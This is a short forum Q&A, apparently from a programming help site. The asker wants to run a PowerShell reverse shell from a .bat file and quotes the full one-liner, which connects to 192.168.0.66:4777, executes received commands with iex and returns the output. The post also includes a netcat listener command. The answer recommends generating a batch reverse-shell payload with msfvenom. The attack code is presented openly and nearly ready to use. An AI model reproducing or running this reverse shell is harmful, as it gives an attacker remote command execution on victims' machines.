Execute PowerShell as batch file - powershell

Question

I'm trying to run the below reverse shell PowerShell command using a .bat file.
powershell /w 1 "$c=new-object system.net.sockets.tcpclient('192.168.0.66',4777);$s=$c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|out-string);$z=$o + 'hacker> ' + (pwd).Path + '> ';$x = ([text.encoding]::ASCII).GetBytes($z);$s.Write($x,0,$x.Length);$s.Flush};$c.close()"
First, I start the netcat listener in Kali:
nc -vv -l -p 4777
I then run the PowerShell command, but I get the following error in Windows 10:
At line:1 char:112
+ ... 168.0.66',4777);$s=$c.GetStream();[byte[]]$b = 0..65535|:ASCII).GetByte ...
+ ~
Unexpected token ')' in expression or statement.

+ ~
Unexpected token '}' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken
I've tried many possible ', " and ``` combinations and variations, both in and encasing the command. I'm totally stumped.

Answer 1

Found myself into the same problem. I wonder why a command that runs without errors in CMD doesn't work well if it's executed inside a .bat file. I doesn't make sense at all.
Metasploit is our friend here:
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat
